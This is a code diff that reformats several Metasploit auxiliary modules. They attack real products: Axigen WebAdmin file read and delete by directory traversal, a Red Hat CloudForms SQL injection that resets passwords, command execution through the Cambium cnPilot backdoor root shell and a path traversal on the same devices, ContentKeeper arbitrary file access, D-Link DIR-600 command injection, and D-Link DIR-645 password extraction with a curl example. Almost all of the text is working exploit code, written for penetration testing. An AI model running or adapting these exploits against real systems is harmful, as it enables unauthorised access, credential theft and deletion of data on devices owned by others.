var logins = (#{JSON.generate({ logins: datastore['LOGINS'] })}).logins;
|
||||
var combos = logins.split(',');
|
||||
var splits = [], s = '';
|
||||
for (var i in combos) {
|
||||
s = combos[i].split('/');
|
||||
splits.push([s[0], s[1]]);
|
||||
}
|
||||
|
||||
exploit(['http://#{datastore['DEVICE_IP']}'], splits);
|
||||
exploit(['http://#{datastore['DEVICE_IP']}'], splits);
|
||||
|
||||
</script>
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
end
|
||||
|
||||
def custom_js
|
||||
|
|
|
@ -7,95 +7,97 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Axigen Arbitrary File Read and Delete',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Axigen Arbitrary File Read and Delete',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in the WebAdmin
|
||||
interface of Axigen, which allows an authenticated user to read and delete
|
||||
arbitrary files with SYSTEM privileges. The vulnerability is known to work on
|
||||
Windows platforms. This module has been tested successfully on Axigen 8.10 over
|
||||
Windows 2003 SP2.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
interface of Axigen, which allows an authenticated user to read and delete
|
||||
arbitrary files with SYSTEM privileges. The vulnerability is known to work on
|
||||
Windows platforms. This module has been tested successfully on Axigen 8.10 over
|
||||
Windows 2003 SP2.
|
||||
},
|
||||
'Author' => [
|
||||
'Zhao Liang', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'US-CERT-VU', '586556' ],
|
||||
[ 'CVE', '2012-4940' ],
|
||||
[ 'OSVDB', '86802' ]
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['Read', { 'Description' => 'Read remote file' }],
|
||||
'Actions' => [
|
||||
['Read', { 'Description' => 'Read remote file' }],
|
||||
['Delete', { 'Description' => 'Delete remote file' }]
|
||||
],
|
||||
'DefaultAction' => 'Read',
|
||||
'DisclosureDate' => '2012-10-31'))
|
||||
'DefaultAction' => 'Read',
|
||||
'DisclosureDate' => '2012-10-31'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9000),
|
||||
OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),
|
||||
OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]),
|
||||
OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),
|
||||
OptString.new('TARGETURI', [ true, 'Path to Axigen WebAdmin', '/' ]),
|
||||
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
|
||||
OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ])
|
||||
])
|
||||
OptString.new('PATH', [ true, 'The file to read or delete', '\\windows\\win.ini' ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Trying to login")
|
||||
print_status('Trying to login')
|
||||
if login
|
||||
print_good("Login Successful")
|
||||
print_good('Login Successful')
|
||||
else
|
||||
print_error("Login failed, review USERNAME and PASSWORD options")
|
||||
print_error('Login failed, review USERNAME and PASSWORD options')
|
||||
return
|
||||
end
|
||||
|
||||
@traversal = "../" * 10
|
||||
@traversal = '../' * 10
|
||||
file = datastore['PATH']
|
||||
@platform = get_platform
|
||||
|
||||
if @platform == 'windows'
|
||||
@traversal.gsub!(/\//, "\\")
|
||||
file.gsub!(/\//, "\\")
|
||||
@traversal.gsub!(%r{/}, '\\')
|
||||
file.gsub!(%r{/}, '\\')
|
||||
else # unix
|
||||
print_error("*nix platform detected, vulnerability is only known to work on Windows")
|
||||
print_error('*nix platform detected, vulnerability is only known to work on Windows')
|
||||
return
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'Read'
|
||||
read_file(datastore['PATH'])
|
||||
when 'Delete'
|
||||
delete_file(datastore['PATH'])
|
||||
when 'Read'
|
||||
read_file(datastore['PATH'])
|
||||
when 'Delete'
|
||||
delete_file(datastore['PATH'])
|
||||
end
|
||||
end
|
||||
|
||||
def read_file(file)
|
||||
|
||||
print_status("Retrieving file contents...")
|
||||
print_status('Retrieving file contents...')
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "sources", "logging", "page_log_file_content.hsp"),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token,
|
||||
'fileName' => "#{@traversal}#{file}"
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'sources', 'logging', 'page_log_file_content.hsp'),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token,
|
||||
'fileName' => "#{@traversal}#{file}"
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
|
||||
store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file)
|
||||
if res && (res.code == 200) && res.headers['Content-Type'] && !res.body.empty?
|
||||
store_path = store_loot('axigen.webadmin.data', 'application/octet-stream', rhost, res.body, file)
|
||||
print_good("File successfully retrieved and saved on #{store_path}")
|
||||
else
|
||||
print_error("Failed to retrieve file")
|
||||
print_error('Failed to retrieve file')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -103,19 +105,20 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("Deleting file #{file}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token,
|
||||
'page' => 'vlf',
|
||||
'action' => 'delete',
|
||||
'fileName' => "#{@traversal}#{file}"
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token,
|
||||
'page' => 'vlf',
|
||||
'action' => 'delete',
|
||||
'fileName' => "#{@traversal}#{file}"
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.body =~ /View Log Files/
|
||||
if res && (res.code == 200) && res.body =~ (/View Log Files/)
|
||||
print_good("File #{file} deleted")
|
||||
else
|
||||
print_error("Error deleting file #{file}")
|
||||
|
@ -123,49 +126,51 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def get_platform
|
||||
print_status("Retrieving platform")
|
||||
print_status('Retrieving platform')
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token
|
||||
}
|
||||
})
|
||||
}
|
||||
)
|
||||
|
||||
if res and res.code == 200
|
||||
if res && (res.code == 200)
|
||||
if res.body =~ /Windows/
|
||||
print_good("Windows platform found")
|
||||
print_good('Windows platform found')
|
||||
return 'windows'
|
||||
elsif res.body =~ /Linux/
|
||||
print_good("Linux platform found")
|
||||
print_good('Linux platform found')
|
||||
return 'unix'
|
||||
end
|
||||
end
|
||||
|
||||
print_warning("Platform not found, assuming UNIX flavor")
|
||||
print_warning('Platform not found, assuming UNIX flavor')
|
||||
return 'unix'
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'submit' => 'Login',
|
||||
'action' => 'login'
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'submit' => 'Login',
|
||||
'action' => 'login'
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/
|
||||
@token = $1
|
||||
if res && (res.code == 303) && res.headers['Location'] =~ (/_h=([a-f0-9]*)/)
|
||||
@token = ::Regexp.last_match(1)
|
||||
if res.get_cookies =~ /_hadmin=([a-f0-9]*)/
|
||||
@session = $1
|
||||
@session = ::Regexp.last_match(1)
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,25 +12,23 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
|
||||
'Description' => %q{
|
||||
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in the "explorer"
|
||||
action of "miq_policy" controller of the Red Hat CloudForms Management
|
||||
Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by
|
||||
changing the password of the target account to the specified password.
|
||||
},
|
||||
'Author' => 'Ramon de C Valle',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-2050'],
|
||||
['CWE', '89'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'Author' => 'Ramon de C Valle',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2013-2050'],
|
||||
['CWE', '89'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
},
|
||||
'DisclosureDate' => 'Nov 12 2013'
|
||||
)
|
||||
|
||||
|
@ -70,10 +68,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def password_reset?
|
||||
print_status("Trying to log into #{target_url('dashboard')} using the target account...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||
'vars_post' => {
|
||||
'user_name' => datastore['TARGETUSERNAME'],
|
||||
'user_name' => datastore['TARGETUSERNAME'],
|
||||
'user_password' => datastore['TARGETPASSWORD']
|
||||
}
|
||||
)
|
||||
|
@ -84,7 +82,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if res.body =~ /"Error: (.*)"/
|
||||
print_error($1)
|
||||
print_error(::Regexp.last_match(1))
|
||||
false
|
||||
else
|
||||
true
|
||||
|
@ -94,10 +92,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run
|
||||
print_status("Logging into #{target_url('dashboard')}...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||
'vars_post' => {
|
||||
'user_name' => datastore['USERNAME'],
|
||||
'user_name' => datastore['USERNAME'],
|
||||
'user_password' => datastore['PASSWORD']
|
||||
}
|
||||
)
|
||||
|
@ -108,10 +106,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if res.body =~ /"Error: (.*)"/
|
||||
print_error($1)
|
||||
print_error(::Regexp.last_match(1))
|
||||
return
|
||||
else
|
||||
session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/
|
||||
session = ::Regexp.last_match(1) if res.get_cookies =~ /_vmdb_session=(\h*)/
|
||||
|
||||
if session.nil?
|
||||
print_error('Failed to retrieve the current session id')
|
||||
|
@ -122,9 +120,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# Newer versions don't accept POST requests.
|
||||
print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...")
|
||||
send_request_cgi(
|
||||
'cookie' => "_vmdb_session=#{session}",
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||
'cookie' => "_vmdb_session=#{session}",
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||
'vars_get' => {
|
||||
'profile[]' => value_for_newer_schema
|
||||
}
|
||||
|
@ -141,7 +139,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
send_request_cgi(
|
||||
'cookie' => "_vmdb_session=#{session}",
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
|
||||
'profile[]' => value_for_older_schema
|
||||
}
|
||||
|
|
|
@ -7,25 +7,25 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::CNPILOT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
|
||||
'Description' => %{
|
||||
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
|
||||
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
|
||||
accessible via a specific url, to any authenticated user. The module uses this
|
||||
shell to execute arbitrary system commands as 'root'.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
|
||||
'Description' => %q{
|
||||
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
|
||||
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
|
||||
accessible via a specific url, to any authenticated user. The module uses this
|
||||
shell to execute arbitrary system commands as 'root'.
|
||||
},
|
||||
'Author' => [
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['CVE', '2017-5259'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -41,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(_ip)
|
||||
unless is_app_cnpilot?
|
||||
return
|
||||
end
|
||||
|
@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def cmd_exec_run(the_cookie)
|
||||
# Verify backdoor 'root' shell url exists
|
||||
root_shell = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
|
||||
root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
|
||||
print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...")
|
||||
|
||||
res = send_request_cgi(
|
||||
|
@ -109,13 +109,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if search_result.nil?
|
||||
print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')
|
||||
else
|
||||
print_good("#{search_result}")
|
||||
print_good(search_result.to_s)
|
||||
|
||||
# w00t we got l00t
|
||||
loot_name = 'cmd-exec-log'
|
||||
loot_type = 'text/plain'
|
||||
loot_desc = 'Cambium cnPilot CMD Exec Results'
|
||||
data = "#{search_result}"
|
||||
data = search_result.to_s
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
|
||||
print_good("File saved in: #{p}")
|
||||
end
|
||||
|
|
|
@ -7,24 +7,24 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::CNPILOT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium cnPilot r200/r201 File Path Traversal',
|
||||
'Description' => %{
|
||||
This module exploits a File Path Traversal vulnerability in Cambium
|
||||
cnPilot r200/r201 to read arbitrary files off the file system. Affected
|
||||
versions - 4.3.3-R4 and prior.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cambium cnPilot r200/r201 File Path Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a File Path Traversal vulnerability in Cambium
|
||||
cnPilot r200/r201 to read arbitrary files off the file system. Affected
|
||||
versions - 4.3.3-R4 and prior.
|
||||
},
|
||||
'Author' => [
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['CVE', '2017-5261'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(_ip)
|
||||
unless is_app_cnpilot?
|
||||
return
|
||||
end
|
||||
|
@ -54,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("#{rhost}:#{rport} - Accessing the file...")
|
||||
file = datastore['FILENAME']
|
||||
fileuri = "/goform/logRead?Readfile=../../../../../../..#{file}"
|
||||
final_url = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + "#{fileuri}"
|
||||
final_url = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + fileuri.to_s
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
|
@ -70,16 +70,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if res && res.code == 200
|
||||
results = res.body
|
||||
|
||||
if results.size.zero?
|
||||
if results.empty?
|
||||
print_status('File not found.')
|
||||
else
|
||||
print_good("#{results}")
|
||||
print_good(results.to_s)
|
||||
|
||||
# w00t we got l00t
|
||||
loot_name = 'fpt-log'
|
||||
loot_type = 'text/plain'
|
||||
loot_desc = 'Cambium cnPilot File Path Traversal Results'
|
||||
data = "#{results}"
|
||||
data = results.to_s
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
|
||||
print_good("File saved in: #{p}")
|
||||
end
|
||||
|
|
|
@ -9,60 +9,58 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
|
||||
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
|
||||
'Description' => %q{
|
||||
This module abuses the 'mimencode' binary present within
|
||||
ContentKeeper Web filtering appliances to retrieve arbitrary
|
||||
files outside of the webroot.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '54551' ],
|
||||
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
|
||||
],
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE)
|
||||
'References' => [
|
||||
[ 'OSVDB', '54551' ],
|
||||
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
|
||||
],
|
||||
'Author' => [ 'aushack' ],
|
||||
'License' => MSF_LICENSE)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
|
||||
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
|
||||
def run_host(_ip)
|
||||
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
|
||||
|
||||
print_status("Attempting to connect to #{rhost}:#{rport}")
|
||||
res = send_request_raw(
|
||||
print_status("Attempting to connect to #{rhost}:#{rport}")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']
|
||||
}, 25
|
||||
)
|
||||
|
||||
if (res && (res.code == 500))
|
||||
|
||||
print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
|
||||
|
||||
file = send_request_raw(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
|
||||
}, 25)
|
||||
'method' => 'GET',
|
||||
'uri' => '/' + tmpfile
|
||||
}, 25
|
||||
)
|
||||
|
||||
if (res and res.code == 500)
|
||||
|
||||
print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
|
||||
|
||||
file = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/' + tmpfile,
|
||||
}, 25)
|
||||
|
||||
if (file and file.code == 200)
|
||||
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
|
||||
elsif (file and file.code)
|
||||
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
|
||||
end
|
||||
elsif (res and res.code)
|
||||
if (file && (file.code == 200))
|
||||
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
|
||||
elsif (file && file.code)
|
||||
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
|
||||
elsif (res && res.code)
|
||||
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,33 +7,37 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an OS Command Injection vulnerability in some D-Link
|
||||
Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
|
||||
command.php, which is accessible without authentication. This module has been
|
||||
tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
|
||||
In order to get a remote shell the telnetd could be started without any
|
||||
authentication.
|
||||
},
|
||||
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
|
||||
command.php, which is accessible without authentication. This module has been
|
||||
tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
|
||||
In order to get a remote shell the telnetd could be started without any
|
||||
authentication.
|
||||
},
|
||||
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'OSVDB', '89861' ],
|
||||
[ 'EDB', '24453' ],
|
||||
[ 'URL', 'https://eu.dlink.com/uk/en/products/dir-600-wireless-n-150-home-router' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
|
||||
],
|
||||
'DisclosureDate' => '2013-02-04'))
|
||||
'DisclosureDate' => '2013-02-04'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -46,19 +50,20 @@ class MetasploitModule < Msf::Auxiliary
|
|||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'data' => data_cmd
|
||||
})
|
||||
'data' => data_cmd
|
||||
}
|
||||
)
|
||||
return if res.nil?
|
||||
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
|
||||
return if (res.headers['Server'].nil? || res.headers['Server'] !~ (%r{Linux,\ HTTP/1.1,\ DIR}))
|
||||
return if res.code == 404
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
|
||||
if res.body.include?("end")
|
||||
if res.body.include?('end')
|
||||
print_good("#{rhost}:#{rport} - Exploited successfully\n")
|
||||
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
|
||||
print_line("#{rhost}:#{rport} - Output: #{res.body}")
|
||||
|
|
|
@ -9,35 +9,32 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'D-Link DIR 645 Password Extractor',
|
||||
'Name' => 'D-Link DIR 645 Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in DIR 645 < v1.03.
|
||||
With this vulnerability you are able to extract the password for the remote
|
||||
management.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '90733' ],
|
||||
[ 'BID', '58231' ],
|
||||
[ 'PACKETSTORM', '120591' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Roberto Paleari <roberto[at]greyhats.it>', # Vulnerability discovery
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
[ 'OSVDB', '90733' ],
|
||||
[ 'BID', '58231' ],
|
||||
[ 'PACKETSTORM', '120591' ]
|
||||
],
|
||||
'Author' => [
|
||||
'Roberto Paleari <roberto[at]greyhats.it>', # Vulnerability discovery
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
|
||||
|
||||
#Curl request:
|
||||
#curl -d SERVICES=DEVICE.ACCOUNT http://192.168.178.200/getcfg.php | egrep "\<name|password"
|
||||
# Curl request:
|
||||
# curl -d SERVICES=DEVICE.ACCOUNT http://192.168.178.200/getcfg.php | egrep "\<name|password"
|
||||
|
||||
#download configuration
|
||||
# download configuration
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/getcfg.php',
|
||||
|
@ -46,58 +43,55 @@ class MetasploitModule < Msf::Auxiliary
|
|||
{
|
||||
'SERVICES' => 'DEVICE.ACCOUNT'
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
return if res.nil?
|
||||
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /DIR-645 Ver 1\.0/)
|
||||
return if (res.headers['Server'].nil? || res.headers['Server'] !~ (/DIR-645 Ver 1\.0/))
|
||||
return if (res.code == 404)
|
||||
|
||||
if res.body =~ /<password>(.*)<\/password>/
|
||||
if res.body =~ %r{<password>(.*)</password>}
|
||||
print_good("#{rhost}:#{rport} - credentials successfully extracted")
|
||||
|
||||
